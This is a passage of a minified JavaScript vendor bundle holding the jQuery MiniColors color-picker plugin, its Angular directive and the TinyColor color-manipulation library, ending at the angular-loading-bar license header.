y,s,w,ct,ft,et,p,c,ot,st,nt=e.parent(),g=e.data("minicolors-settings"),ht=nt.find(".minicolors-input-swatch"),a=nt.find(".minicolors-grid"),v=nt.find(".minicolors-slider"),tt=nt.find(".minicolors-opacity-slider"),it=a.find("[class$=-picker]"),ut=v.find("[class$=-picker]"),lt=tt.find("[class$=-picker]");switch(r(e.val())?(y=d(e.val()),ft=t(parseFloat(k(e.val())).toFixed(2),0,1),ft&&e.attr("data-opacity",ft)):y=h(f(e.val(),!0),g.letterCase),y||(y=h(b(g.defaultValue,!0),g.letterCase)),s=rt(y),ct=g.keywords?n.map(g.keywords.split(","),function(t){return n.trim(t.toLowerCase())}):[],et=""!==e.val()&&n.inArray(e.val().toLowerCase(),ct)>-1?h(e.val()):r(e.val())?u(e.val()):y,o||e.val(et),g.opacity&&(w=""===e.attr("data-opacity")?1:t(parseFloat(e.attr("data-opacity")).toFixed(2),0,1),isNaN(w)&&(w=1),e.attr("data-opacity",w),ht.find("span").css("opacity",w),c=t(tt.height()-tt.height()*w,0,tt.height()),lt.css("top",c+"px")),"transparent"===e.val().toLowerCase()&&ht.find("span").css("opacity",0),ht.find("span").css("backgroundColor",y),g.control){case"wheel":ot=t(Math.ceil(.75*s.s),0,a.height()/2);st=s.h*Math.PI/180;p=t(75-Math.cos(st)*ot,0,a.width());c=t(75-Math.sin(st)*ot,0,a.height());it.css({top:c+"px",left:p+"px"});c=150-s.b/(100/a.height());""===y&&(c=0);ut.css("top",c+"px");v.css("backgroundColor",i({h:s.h,s:s.s,b:100}));break;case"saturation":p=t(5*s.h/12,0,150);c=t(a.height()-Math.ceil(s.b/(100/a.height())),0,a.height());it.css({top:c+"px",left:p+"px"});c=t(v.height()-s.s*(v.height()/100),0,v.height());ut.css("top",c+"px");v.css("backgroundColor",i({h:s.h,s:100,b:s.b}));nt.find(".minicolors-grid-inner").css("opacity",s.s/100);break;case"brightness":p=t(5*s.h/12,0,150);c=t(a.height()-Math.ceil(s.s/(100/a.height())),0,a.height());it.css({top:c+"px",left:p+"px"});c=t(v.height()-s.b*(v.height()/100),0,v.height());ut.css("top",c+"px");v.css("backgroundColor",i({h:s.h,s:s.s,b:100}));nt.find(".minicolors-grid-inner").css("opacity",1-s.b/100);break;default:p=t(Math.ceil(s.s/(100/a.width())),0,a.width());c=t(a.height()-Math.ceil(s.b/(100/a.height())),0,a.height());it.css({top:c+"px",left:p+"px"});c=t(v.height()-s.h/(360/v.height()),0,v.height());ut.css("top",c+"px");a.css("backgroundColor",i({h:s.h,s:100,b:100}))}e.data("minicolors-initialized")&&l(e,et,w)}function l(n,t,i){var s,h,o,f=n.data("minicolors-settings"),c=n.data("minicolors-lastChange");if(!c||c.value!==t||c.opacity!==i){if(n.data("minicolors-lastChange",{value:t,opacity:i}),f.swatches&&0!==f.swatches.length){for(s=r(t)?u(t,!0):e(t),h=-1,o=0;o<f.swatches.length;++o)if(s.r===f.swatches[o].r&&s.g===f.swatches[o].g&&s.b===f.swatches[o].b&&s.a===f.swatches[o].a){h=o;break}n.parent().find(".minicolors-swatches .minicolors-swatch").removeClass("selected");h!==-1&&n.parent().find(".minicolors-swatches .minicolors-swatch").eq(o).addClass("selected")}f.change&&(f.changeDelay?(clearTimeout(n.data("minicolors-changeTimeout")),n.data("minicolors-changeTimeout",setTimeout(function(){f.change.call(n.get(0),t,i)},f.changeDelay))):f.change.call(n.get(0),t,i));n.trigger("change").trigger("input")}}function nt(t){var i,o=n(t).attr("data-opacity"),s;return r(n(t).val())?i=u(n(t).val(),!0):(s=f(n(t).val(),!0),i=e(s)),i?(void 0!==o&&n.extend(i,{a:parseFloat(o)}),i):null}function tt(t,i){var o,s=n(t).attr("data-opacity"),h;return r(n(t).val())?o=u(n(t).val(),!0):(h=f(n(t).val(),!0),o=e(h)),o?(void 0===s&&(s=1),i?"rgba("+o.r+", "+o.g+", "+o.b+", "+parseFloat(s)+")":"rgb("+o.r+", "+o.g+", "+o.b+")"):null}function h(n,t){return"uppercase"===t?n.toUpperCase():n.toLowerCase()}function f(n,t){return n=n.replace(/^#/g,""),n.match(/^[A-F0-9]{3,6}/gi)?3!==n.length&&6!==n.length?"":(3===n.length&&t&&(n=n[0]+n[0]+n[1]+n[1]+n[2]+n[2]),"#"+n):""}function u(n,i){var u=n.replace(/[^\d,.]/g,""),r=u.split(",");return r[0]=t(parseInt(r[0],10),0,255),r[1]=t(parseInt(r[1],10),0,255),r[2]=t(parseInt(r[2],10),0,255),r[3]&&(r[3]=t(parseFloat(r[3],10),0,1)),i?r[3]?{r:r[0],g:r[1],b:r[2],a:r[3]}:{r:r[0],g:r[1],b:r[2]}:"undefined"!=typeof r[3]&&r[3]<=1?"rgba("+r[0]+", "+r[1]+", "+r[2]+", "+r[3]+")":"rgb("+r[0]+", "+r[1]+", "+r[2]+")"}function b(n,t){return r(n)?u(n):f(n,t)}function t(n,t,i){return n<t&&(n=t),n>i&&(n=i),n}function r(n){var t=n.match(/^rgba?[\s+]?\([\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?/i);return!(!t||4!==t.length)}function k(n){return n=n.match(/^rgba?[\s+]?\([\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?,[\s+]?(\d+(\.\d{1,2})?|\.\d{1,2})[\s+]?/i),n&&6===n.length?n[4]:"1"}function it(n){var t={},u=Math.round(n.h),o=Math.round(255*n.s/100),e=Math.round(255*n.b/100);if(0===o)t.r=t.g=t.b=e;else{var i=e,r=(255-o)*e/255,f=(i-r)*(u%60)/60;360===u&&(u=0);u<60?(t.r=i,t.b=r,t.g=r+f):u<120?(t.g=i,t.b=r,t.r=i-f):u<180?(t.g=i,t.r=r,t.b=r+f):u<240?(t.b=i,t.r=r,t.g=i-f):u<300?(t.b=i,t.g=r,t.r=r+f):u<360?(t.r=i,t.g=r,t.b=i-f):(t.r=0,t.g=0,t.b=0)}return{r:Math.round(t.r),g:Math.round(t.g),b:Math.round(t.b)}}function d(n){return n=n.match(/^rgba?[\s+]?\([\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?/i),n&&4===n.length?"#"+("0"+parseInt(n[1],10).toString(16)).slice(-2)+("0"+parseInt(n[2],10).toString(16)).slice(-2)+("0"+parseInt(n[3],10).toString(16)).slice(-2):""}function a(t){var i=[t.r.toString(16),t.g.toString(16),t.b.toString(16)];return n.each(i,function(n,t){1===t.length&&(i[n]="0"+t)}),"#"+i.join("")}function i(n){return a(it(n))}function rt(n){var t=ut(e(n));return 0===t.s&&(t.h=360),t}function ut(n){var t={h:0,s:0,b:0},u=Math.min(n.r,n.g,n.b),i=Math.max(n.r,n.g,n.b),r=i-u;return t.b=i,t.s=0!==i?255*r/i:0,t.h=0!==t.s?n.r===i?(n.g-n.b)/r:n.g===i?2+(n.b-n.r)/r:4+(n.r-n.g)/r:-1,t.h*=60,t.h<0&&(t.h+=360),t.s*=100/255,t.b*=100/255,t}function e(n){return n=parseInt(n.indexOf("#")>-1?n.substring(1):n,16),{r:n>>16,g:(65280&n)>>8,b:255&n}}n.minicolors={defaults:{animationSpeed:50,animationEasing:"swing",change:null,changeDelay:0,control:"hue",defaultValue:"",format:"hex",hide:null,hideSpeed:100,inline:!1,keywords:"",letterCase:"lowercase",opacity:!1,position:"bottom",show:null,showSpeed:100,theme:"default",swatches:[]}};n.extend(n.fn,{minicolors:function(i,r){switch(i){case"destroy":return n(this).each(function(){v(n(this))}),n(this);case"hide":return s(),n(this);case"opacity":return void 0===r?n(this).attr("data-opacity"):(n(this).each(function(){o(n(this).attr("data-opacity",r))}),n(this));case"rgbObject":return nt(n(this),"rgbaObject"===i);case"rgbString":case"rgbaString":return tt(n(this),"rgbaString"===i);case"settings":return void 0===r?n(this).data("minicolors-settings"):(n(this).each(function(){var t=n(this).data("minicolors-settings")||{};v(n(this));n(this).minicolors(n.extend(!0,t,r))}),n(this));case"show":return c(n(this).eq(0)),n(this);case"value":return void 0===r?n(this).val():(n(this).each(function(){"object"==typeof r&&null!==r?(void 0!==r.opacity&&n(this).attr("data-opacity",t(r.opacity,0,1)),r.color&&n(this).val(r.color)):n(this).val(r);o(n(this))}),n(this));default:return"create"!==i&&(r=i),n(this).each(function(){g(n(this),r)}),n(this)}}});n([document]).on("mousedown.minicolors touchstart.minicolors",function(t){n(t.target).parents().add(t.target).hasClass("minicolors")||s()}).on("mousedown.minicolors touchstart.minicolors",".minicolors-grid, .minicolors-slider, .minicolors-opacity-slider",function(t){var i=n(this);t.preventDefault();n(t.delegateTarget).data("minicolors-target",i);y(i,t,!0)}).on("mousemove.minicolors touchmove.minicolors",function(t){var i=n(t.delegateTarget).data("minicolors-target");i&&y(i,t)}).on("mouseup.minicolors touchend.minicolors",function(){n(this).removeData("minicolors-target")}).on("click.minicolors",".minicolors-swatches li",function(t){t.preventDefault();var i=n(this),r=i.parents(".minicolors").find(".minicolors-input"),u=i.data("swatch-color");w(r,u,k(u));o(r)}).on("mousedown.minicolors touchstart.minicolors",".minicolors-input-swatch",function(t){var i=n(this).parent().find(".minicolors-input");t.preventDefault();c(i)}).on("focus.minicolors",".minicolors-input",function(){var t=n(this);t.data("minicolors-initialized")&&c(t)}).on("blur.minicolors",".minicolors-input",function(){var v,c,i,l,s,t=n(this),o=t.data("minicolors-settings");t.data("minicolors-initialized")&&(v=o.keywords?n.map(o.keywords.split(","),function(t){return n.trim(t.toLowerCase())}):[],""!==t.val()&&n.inArray(t.val().toLowerCase(),v)>-1?s=t.val():(r(t.val())?i=u(t.val(),!0):(c=f(t.val(),!0),i=c?e(c):null),s=null===i?o.defaultValue:"rgb"===o.format?u(o.opacity?"rgba("+i.r+","+i.g+","+i.b+","+t.attr("data-opacity")+")":"rgb("+i.r+","+i.g+","+i.b+")"):a(i)),l=o.opacity?t.attr("data-opacity"):1,"transparent"===s.toLowerCase()&&(l=0),t.closest(".minicolors").find(".minicolors-input-swatch > span").css("opacity",l),t.val(s),""===t.val()&&t.val(b(o.defaultValue,!0)),t.val(h(t.val(),o.letterCase)))}).on("keydown.minicolors",".minicolors-input",function(t){var i=n(this);if(i.data("minicolors-initialized"))switch(t.which){case 9:s();break;case 13:case 27:s();i.blur()}}).on("keyup.minicolors",".minicolors-input",function(){var t=n(this);t.data("minicolors-initialized")&&o(t,!0)}).on("paste.minicolors",".minicolors-input",function(){var t=n(this);t.data("minicolors-initialized")&&setTimeout(function(){o(t,!0)},1)})}),function(n,t){typeof define=="function"&&define.amd?define(["angular","jquery-minicolors"],t):typeof exports=="object"?(module.exports=t(require("angular"),require("jquery-minicolors")),module.exports="minicolors"):n.angularMinicolors=t(n.angular,n.jqueryMinicolors)}(this,function(n){n.module("minicolors",[]);n.module("minicolors").provider("minicolors",function(){this.defaults={theme:"bootstrap",position:"top left",defaultValue:"",animationSpeed:50,animationEasing:"swing",change:null,changeDelay:0,control:"hue",hide:null,hideSpeed:100,inline:!1,letterCase:"lowercase",opacity:!1,show:null,showSpeed:100};this.$get=function(){return this}});n.module("minicolors").directive("minicolors",["minicolors","$timeout",function(t,i){return{require:"?ngModel",restrict:"A",priority:1,link:function(r,u,f,e){function o(n){return/^#([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/.test(n)}function v(){return u.data("minicolors-settings")!=null}function a(n){o(n)&&v()&&u.minicolors("value",n)}var c=!1,l=function(){return n.extend({},t.defaults,r.$eval(f.minicolors))},s,h;e.$render=function(){i(function(){var n=e.$viewValue;a(n)},0,!1)};s=function(){function t(){r.$apply(function(){var n=u.minicolors("value");o(n)&&e.$setViewValue(n)})}if(e){var n=l();n.change=function(n){r.$apply(function(){o(n)&&e.$setViewValue(n)})};u.hasClass("minicolors-input")&&(u.minicolors("destroy"),u.off("blur",t));u.minicolors(n);u.on("blur",t);if(!c){i(function(){var n=e.$viewValue;a(n)},0);c=!0;return}}};s();h=r.$watch(l,s,!0);r.$on("$destroy",function(){u.hasClass("minicolors-input")&&(u.minicolors("destroy"),u.remove());h&&h()})}}}])}),function(n){function t(n,r){if(n=n?n:"",r=r||{},n instanceof t)return n;if(!(this instanceof t))return new t(n,r);var u=it(n);this._originalInput=n;this._r=u.r;this._g=u.g;this._b=u.b;this._a=u.a;this._roundA=i(100*this._a)/100;this._format=r.format||u.format;this._gradientType=r.gradientType;this._r<1&&(this._r=i(this._r));this._g<1&&(this._g=i(this._g));this._b<1&&(this._b=i(this._b));this._ok=u.ok;this._tc_id=tt++}function it(n){var t={r:0,g:0,b:0},i=1,r=!1,u=!1;return typeof n=="string"&&(n=ri(n)),typeof n=="object"&&(s(n.r)&&s(n.g)&&s(n.b)?(t=rt(n.r,n.g,n.b),r=!0,u=String(n.r).substr(-1)==="%"?"prgb":"rgb"):s(n.h)&&s(n.s)&&s(n.v)?(n.s=c(n.s),n.v=c(n.v),t=ft(n.h,n.s,n.v),r=!0,u="hsv"):s(n.h)&&s(n.s)&&s(n.l)&&(n.s=c(n.s),n.l=c(n.l),t=ut(n.h,n.s,n.l),r=!0,u="hsl"),n.hasOwnProperty("a")&&(i=n.a)),i=d(i),{ok:r,format:n.format||u,r:f(255,e(t.r,0)),g:f(255,e(t.g,0)),b:f(255,e(t.b,0)),a:i}}function rt(n,t,i){return{r:r(n,255)*255,g:r(t,255)*255,b:r(i,255)*255}}function y(n,t,i){var s;n=r(n,255);t=r(t,255);i=r(i,255);var u=e(n,t,i),h=f(n,t,i),o,c,l=(u+h)/2;if(u==h)o=c=0;else{s=u-h;c=l>.5?s/(2-u-h):s/(u+h);switch(u){case n:o=(t-i)/s+(t<i?6:0);break;case t:o=(i-n)/s+2;break;case i:o=(n-t)/s+4}o/=6}return{h:o,s:c,l:l}}function ut(n,t,i){function h(n,t,i){return(i<0&&(i+=1),i>1&&(i-=1),i<1/6)?n+(t-n)*6*i:i<1/2?t:i<2/3?n+(t-n)*(2/3-i)*6:n}var e,o,s,u,f;return n=r(n,360),t=r(t,100),i=r(i,100),t===0?e=o=s=i:(u=i<.5?i*(1+t):i+t-i*t,f=2*i-u,e=h(f,u,n+1/3),o=h(f,u,n),s=h(f,u,n-1/3)),{r:e*255,g:o*255,b:s*255}}function p(n,t,i){n=r(n,255);t=r(t,255);i=r(i,255);var u=e(n,t,i),h=f(n,t,i),o,c,l=u,s=u-h;if(c=u===0?0:s/u,u==h)o=0;else{switch(u){case n:o=(t-i)/s+(t<i?6:0);break;case t:o=(i-n)/s+2;break;case i:o=(n-t)/s+4}o/=6}return{h:o,s:c,v:l}}function ft(t,i,u){t=r(t,360)*6;i=r(i,100);u=r(u,100);var h=n.floor(t),c=t-h,f=u*(1-i),e=u*(1-c*i),o=u*(1-(1-c)*i),s=h%6,l=[u,e,f,f,o,u][s],a=[o,u,u,e,f,f][s],v=[f,f,o,u,u,e][s];return{r:l*255,g:a*255,b:v*255}}function w(n,t,r,u){var f=[h(i(n).toString(16)),h(i(t).toString(16)),h(i(r).toString(16))];return u&&f[0].charAt(0)==f[0].charAt(1)&&f[1].charAt(0)==f[1].charAt(1)&&f[2].charAt(0)==f[2].charAt(1)?f[0].charAt(0)+f[1].charAt(0)+f[2].charAt(0):f.join("")}function b(n,t,r,u){var f=[h(ti(u)),h(i(n).toString(16)),h(i(t).toString(16)),h(i(r).toString(16))];return f.join("")}function et(n,i){i=i===0?0:i||10;var r=t(n).toHsl();return r.s-=i/100,r.s=a(r.s),t(r)}function ot(n,i){i=i===0?0:i||10;var r=t(n).toHsl();return r.s+=i/100,r.s=a(r.s),t(r)}function st(n){return t(n).desaturate(100)}function ht(n,i){i=i===0?0:i||10;var r=t(n).toHsl();return r.l+=i/100,r.l=a(r.l),t(r)}function ct(n,r){r=r===0?0:r||10;var u=t(n).toRgb();return u.r=e(0,f(255,u.r-i(255*-(r/100)))),u.g=e(0,f(255,u.g-i(255*-(r/100)))),u.b=e(0,f(255,u.b-i(255*-(r/100)))),t(u)}function lt(n,i){i=i===0?0:i||10;var r=t(n).toHsl();return r.l-=i/100,r.l=a(r.l),t(r)}function at(n,i){var r=t(n).toHsl(),u=(r.h+i)%360;return r.h=u<0?360+u:u,t(r)}function vt(n){var i=t(n).toHsl();return i.h=(i.h+180)%360,t(i)}function yt(n){var i=t(n).toHsl(),r=i.h;return[t(n),t({h:(r+120)%360,s:i.s,l:i.l}),t({h:(r+240)%360,s:i.s,l:i.l})]}function pt(n){var i=t(n).toHsl(),r=i.h;return[t(n),t({h:(r+90)%360,s:i.s,l:i.l}),t({h:(r+180)%360,s:i.s,l:i.l}),t({h:(r+270)%360,s:i.s,l:i.l})]}function wt(n){var i=t(n).toHsl(),r=i.h;return[t(n),t({h:(r+72)%360,s:i.s,l:i.l}),t({h:(r+216)%360,s:i.s,l:i.l})]}function bt(n,i,r){i=i||6;r=r||30;var u=t(n).toHsl(),f=360/r,e=[t(n)];for(u.h=(u.h-(f*i>>1)+720)%360;--i;)u.h=(u.h+f)%360,e.push(t(u));return e}function kt(n,i){i=i||6;for(var r=t(n).toHsv(),e=r.h,o=r.s,u=r.v,f=[],s=1/i;i--;)f.push(t({h:e,s:o,v:u})),u=(u+s)%1;return f}function dt(n){var i={};for(var t in n)n.hasOwnProperty(t)&&(i[n[t]]=t);return i}function d(n){return n=parseFloat(n),(isNaN(n)||n<0||n>1)&&(n=1),n}function r(t,i){gt(t)&&(t="100%");var r=ni(t);return(t=f(i,e(0,parseFloat(t))),r&&(t=parseInt(t*i,10)/100),n.abs(t-i)<1e-6)?1:t%i/parseFloat(i)}function a(n){return f(1,e(0,n))}function o(n){return parseInt(n,16)}function gt(n){return typeof n=="string"&&n.indexOf(".")!=-1&&parseFloat(n)===1}function ni(n){return typeof n=="string"&&n.indexOf("%")!=-1}function h(n){return n.length==1?"0"+n:""+n}function c(n){return n<=1&&(n=n*100+"%"),n}function ti(t){return n.round(parseFloat(t)*255).toString(16)}function ii(n){return o(n)/255}function s(n){return!!u.CSS_UNIT.exec(n)}function ri(n){var i,t;if(n=n.replace(g,"").replace(nt,"").toLowerCase(),i=!1,l[n])n=l[n],i=!0;else if(n=="transparent")return{r:0,g:0,b:0,a:0,format:"name"};return(t=u.rgb.exec(n))?{r:t[1],g:t[2],b:t[3]}:(t=u.rgba.exec(n))?{r:t[1],g:t[2],b:t[3],a:t[4]}:(t=u.hsl.exec(n))?{h:t[1],s:t[2],l:t[3]}:(t=u.hsla.exec(n))?{h:t[1],s:t[2],l:t[3],a:t[4]}:(t=u.hsv.exec(n))?{h:t[1],s:t[2],v:t[3]}:(t=u.hsva.exec(n))?{h:t[1],s:t[2],v:t[3],a:t[4]}:(t=u.hex8.exec(n))?{a:ii(t[1]),r:o(t[2]),g:o(t[3]),b:o(t[4]),format:i?"name":"hex8"}:(t=u.hex6.exec(n))?{r:o(t[1]),g:o(t[2]),b:o(t[3]),format:i?"name":"hex"}:(t=u.hex3.exec(n))?{r:o(t[1]+""+t[1]),g:o(t[2]+""+t[2]),b:o(t[3]+""+t[3]),format:i?"name":"hex"}:!1}function ui(n){var t,i;return n=n||{level:"AA",size:"small"},t=(n.level||"AA").toUpperCase(),i=(n.size||"small").toLowerCase(),t!=="AA"&&t!=="AAA"&&(t="AA"),i!=="small"&&i!=="large"&&(i="small"),{level:t,size:i}}var g=/^\s+/,nt=/\s+$/,tt=0,i=n.round,f=n.min,e=n.max,v=n.random,l,k,u;t.prototype={isDark:function(){return this.getBrightness()<128},isLight:function(){return!this.isDark()},isValid:function(){return this._ok},getOriginalInput:function(){return this._originalInput},getFormat:function(){return this._format},getAlpha:function(){return this._a},getBrightness:function(){var n=this.toRgb();return(n.r*299+n.g*587+n.b*114)/1e3},getLuminance:function(){var u=this.toRgb(),t,i,r,f,e,o;return t=u.r/255,i=u.g/255,r=u.b/255,f=t<=.03928?t/12.92:n.pow((t+.055)/1.055,2.4),e=i<=.03928?i/12.92:n.pow((i+.055)/1.055,2.4),o=r<=.03928?r/12.92:n.pow((r+.055)/1.055,2.4),.2126*f+.7152*e+.0722*o},setAlpha:function(n){return this._a=d(n),this._roundA=i(100*this._a)/100,this},toHsv:function(){var n=p(this._r,this._g,this._b);return{h:n.h*360,s:n.s,v:n.v,a:this._a}},toHsvString:function(){var n=p(this._r,this._g,this._b),t=i(n.h*360),r=i(n.s*100),u=i(n.v*100);return this._a==1?"hsv("+t+", "+r+"%, "+u+"%)":"hsva("+t+", "+r+"%, "+u+"%, "+this._roundA+")"},toHsl:function(){var n=y(this._r,this._g,this._b);return{h:n.h*360,s:n.s,l:n.l,a:this._a}},toHslString:function(){var n=y(this._r,this._g,this._b),t=i(n.h*360),r=i(n.s*100),u=i(n.l*100);return this._a==1?"hsl("+t+", "+r+"%, "+u+"%)":"hsla("+t+", "+r+"%, "+u+"%, "+this._roundA+")"},toHex:function(n){return w(this._r,this._g,this._b,n)},toHexString:function(n){return"#"+this.toHex(n)},toHex8:function(){return b(this._r,this._g,this._b,this._a)},toHex8String:function(){return"#"+this.toHex8()},toRgb:function(){return{r:i(this._r),g:i(this._g),b:i(this._b),a:this._a}},toRgbString:function(){return this._a==1?"rgb("+i(this._r)+", "+i(this._g)+", "+i(this._b)+")":"rgba("+i(this._r)+", "+i(this._g)+", "+i(this._b)+", "+this._roundA+")"},toPercentageRgb:function(){return{r:i(r(this._r,255)*100)+"%",g:i(r(this._g,255)*100)+"%",b:i(r(this._b,255)*100)+"%",a:this._a}},toPercentageRgbString:function(){return this._a==1?"rgb("+i(r(this._r,255)*100)+"%, "+i(r(this._g,255)*100)+"%, "+i(r(this._b,255)*100)+"%)":"rgba("+i(r(this._r,255)*100)+"%, "+i(r(this._g,255)*100)+"%, "+i(r(this._b,255)*100)+"%, "+this._roundA+")"},toName:function(){return this._a===0?"transparent":this._a<1?!1:k[w(this._r,this._g,this._b,!0)]||!1},toFilter:function(n){var i="#"+b(this._r,this._g,this._b,this._a),r=i,f=this._gradientType?"GradientType = 1, ":"",u;return n&&(u=t(n),r=u.toHex8String()),"progid:DXImageTransform.Microsoft.gradient("+f+"startColorstr="+i+",endColorstr="+r+")"},toString:function(n){var i=!!n;n=n||this._format;var t=!1,r=this._a<1&&this._a>=0,u=!i&&r&&(n==="hex"||n==="hex6"||n==="hex3"||n==="name");return u?n==="name"&&this._a===0?this.toName():this.toRgbString():(n==="rgb"&&(t=this.toRgbString()),n==="prgb"&&(t=this.toPercentageRgbString()),(n==="hex"||n==="hex6")&&(t=this.toHexString()),n==="hex3"&&(t=this.toHexString(!0)),n==="hex8"&&(t=this.toHex8String()),n==="name"&&(t=this.toName()),n==="hsl"&&(t=this.toHslString()),n==="hsv"&&(t=this.toHsvString()),t||this.toHexString())},clone:function(){return t(this.toString())},_applyModification:function(n,t){var i=n.apply(null,[this].concat([].slice.call(t)));return this._r=i._r,this._g=i._g,this._b=i._b,this.setAlpha(i._a),this},lighten:function(){return this._applyModification(ht,arguments)},brighten:function(){return this._applyModification(ct,arguments)},darken:function(){return this._applyModification(lt,arguments)},desaturate:function(){return this._applyModification(et,arguments)},saturate:function(){return this._applyModification(ot,arguments)},greyscale:function(){return this._applyModification(st,arguments)},spin:function(){return this._applyModification(at,arguments)},_applyCombination:function(n,t){return n.apply(null,[this].concat([].slice.call(t)))},analogous:function(){return this._applyCombination(bt,arguments)},complement:function(){return this._applyCombination(vt,arguments)},monochromatic:function(){return this._applyCombination(kt,arguments)},splitcomplement:function(){return this._applyCombination(wt,arguments)},triad:function(){return this._applyCombination(yt,arguments)},tetrad:function(){return this._applyCombination(pt,arguments)}};t.fromRatio=function(n,i){var u,r;if(typeof n=="object"){u={};for(r in n)n.hasOwnProperty(r)&&(u[r]=r==="a"?n[r]:c(n[r]));n=u}return t(n,i)};t.equals=function(n,i){return!n||!i?!1:t(n).toRgbString()==t(i).toRgbString()};t.random=function(){return t.fromRatio({r:v(),g:v(),b:v()})};t.mix=function(n,i,r){var s,l;r=r===0?0:r||50;var f=t(n).toRgb(),e=t(i).toRgb(),h=r/100,o=h*2-1,c=e.a-f.a,u;return u=o*c==-1?o:(o+c)/(1+o*c),u=(u+1)/2,s=1-u,l={r:e.r*u+f.r*s,g:e.g*u+f.g*s,b:e.b*u+f.b*s,a:e.a*h+f.a*(1-h)},t(l)};t.readability=function(i,r){var u=t(i),f=t(r);return(n.max(u.getLuminance(),f.getLuminance())+.05)/(n.min(u.getLuminance(),f.getLuminance())+.05)};t.isReadable=function(n,i,r){var f=t.readability(n,i),e,u;u=!1;e=ui(r);switch(e.level+e.size){case"AAsmall":case"AAAlarge":u=f>=4.5;break;case"AAlarge":u=f>=3;break;case"AAAsmall":u=f>=7}return u};t.mostReadable=function(n,i,r){var f=null,o=0,e,s,h,c,u;for(r=r||{},s=r.includeFallbackColors,h=r.level,c=r.size,u=0;u<i.length;u++)e=t.readability(n,i[u]),e>o&&(o=e,f=t(i[u]));return t.isReadable(n,f,{level:h,size:c})||!s?f:(r.includeFallbackColors=!1,t.mostReadable(n,["#fff","#000"],r))};l=t.names={aliceblue:"f0f8ff",antiquewhite:"faebd7",aqua:"0ff",aquamarine:"7fffd4",azure:"f0ffff",beige:"f5f5dc",bisque:"ffe4c4",black:"000",blanchedalmond:"ffebcd",blue:"00f",blueviolet:"8a2be2",brown:"a52a2a",burlywood:"deb887",burntsienna:"ea7e5d",cadetblue:"5f9ea0",chartreuse:"7fff00",chocolate:"d2691e",coral:"ff7f50",cornflowerblue:"6495ed",cornsilk:"fff8dc",crimson:"dc143c",cyan:"0ff",darkblue:"00008b",darkcyan:"008b8b",darkgoldenrod:"b8860b",darkgray:"a9a9a9",darkgreen:"006400",darkgrey:"a9a9a9",darkkhaki:"bdb76b",darkmagenta:"8b008b",darkolivegreen:"556b2f",darkorange:"ff8c00",darkorchid:"9932cc",darkred:"8b0000",darksalmon:"e9967a",darkseagreen:"8fbc8f",darkslateblue:"483d8b",darkslategray:"2f4f4f",darkslategrey:"2f4f4f",darkturquoise:"00ced1",darkviolet:"9400d3",deeppink:"ff1493",deepskyblue:"00bfff",dimgray:"696969",dimgrey:"696969",dodgerblue:"1e90ff",firebrick:"b22222",floralwhite:"fffaf0",forestgreen:"228b22",fuchsia:"f0f",gainsboro:"dcdcdc",ghostwhite:"f8f8ff",gold:"ffd700",goldenrod:"daa520",gray:"808080",green:"008000",greenyellow:"adff2f",grey:"808080",honeydew:"f0fff0",hotpink:"ff69b4",indianred:"cd5c5c",indigo:"4b0082",ivory:"fffff0",khaki:"f0e68c",lavender:"e6e6fa",lavenderblush:"fff0f5",lawngreen:"7cfc00",lemonchiffon:"fffacd",lightblue:"add8e6",lightcoral:"f08080",lightcyan:"e0ffff",lightgoldenrodyellow:"fafad2",lightgray:"d3d3d3",lightgreen:"90ee90",lightgrey:"d3d3d3",lightpink:"ffb6c1",lightsalmon:"ffa07a",lightseagreen:"20b2aa",lightskyblue:"87cefa",lightslategray:"789",lightslategrey:"789",lightsteelblue:"b0c4de",lightyellow:"ffffe0",lime:"0f0",limegreen:"32cd32",linen:"faf0e6",magenta:"f0f",maroon:"800000",mediumaquamarine:"66cdaa",mediumblue:"0000cd",mediumorchid:"ba55d3",mediumpurple:"9370db",mediumseagreen:"3cb371",mediumslateblue:"7b68ee",mediumspringgreen:"00fa9a",mediumturquoise:"48d1cc",mediumvioletred:"c71585",midnightblue:"191970",mintcream:"f5fffa",mistyrose:"ffe4e1",moccasin:"ffe4b5",navajowhite:"ffdead",navy:"000080",oldlace:"fdf5e6",olive:"808000",olivedrab:"6b8e23",orange:"ffa500",orangered:"ff4500",orchid:"da70d6",palegoldenrod:"eee8aa",palegreen:"98fb98",paleturquoise:"afeeee",palevioletred:"db7093",papayawhip:"ffefd5",peachpuff:"ffdab9",peru:"cd853f",pink:"ffc0cb",plum:"dda0dd",powderblue:"b0e0e6",purple:"800080",rebeccapurple:"663399",red:"f00",rosybrown:"bc8f8f",royalblue:"4169e1",saddlebrown:"8b4513",salmon:"fa8072",sandybrown:"f4a460",seagreen:"2e8b57",seashell:"fff5ee",sienna:"a0522d",silver:"c0c0c0",skyblue:"87ceeb",slateblue:"6a5acd",slategray:"708090",slategrey:"708090",snow:"fffafa",springgreen:"00ff7f",steelblue:"4682b4",tan:"d2b48c",teal:"008080",thistle:"d8bfd8",tomato:"ff6347",turquoise:"40e0d0",violet:"ee82ee",wheat:"f5deb3",white:"fff",whitesmoke:"f5f5f5",yellow:"ff0",yellowgreen:"9acd32"};k=t.hexNames=dt(l);u=function(){var n="(?:[-\\+]?\\d*\\.\\d+%?)|(?:[-\\+]?\\d+%?)",t="[\\s|\\(]+("+n+")[,|\\s]+("+n+")[,|\\s]+("+n+")\\s*\\)?",i="[\\s|\\(]+("+n+")[,|\\s]+("+n+")[,|\\s]+("+n+")[,|\\s]+("+n+")\\s*\\)?";return{CSS_UNIT:new RegExp(n),rgb:new RegExp("rgb"+t),rgba:new RegExp("rgba"+i),hsl:new RegExp("hsl"+t),hsla:new RegExp("hsla"+i),hsv:new RegExp("hsv"+t),hsva:new RegExp("hsva"+i),hex3:/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex6:/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/,hex8:/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/}}();typeof module!="undefined"&&module.exports?module.exports=t:typeof define=="function"&&define.amd?define(function(){return t}):window.tinycolor=t}(Math);
/*! 
 * angular-loading-bar v0.9.0
 * https://chieffancypants.github.io/angular-loading-bar
 * Copyright (c) 2016 Wes Cruver
 * License: MIT
 */
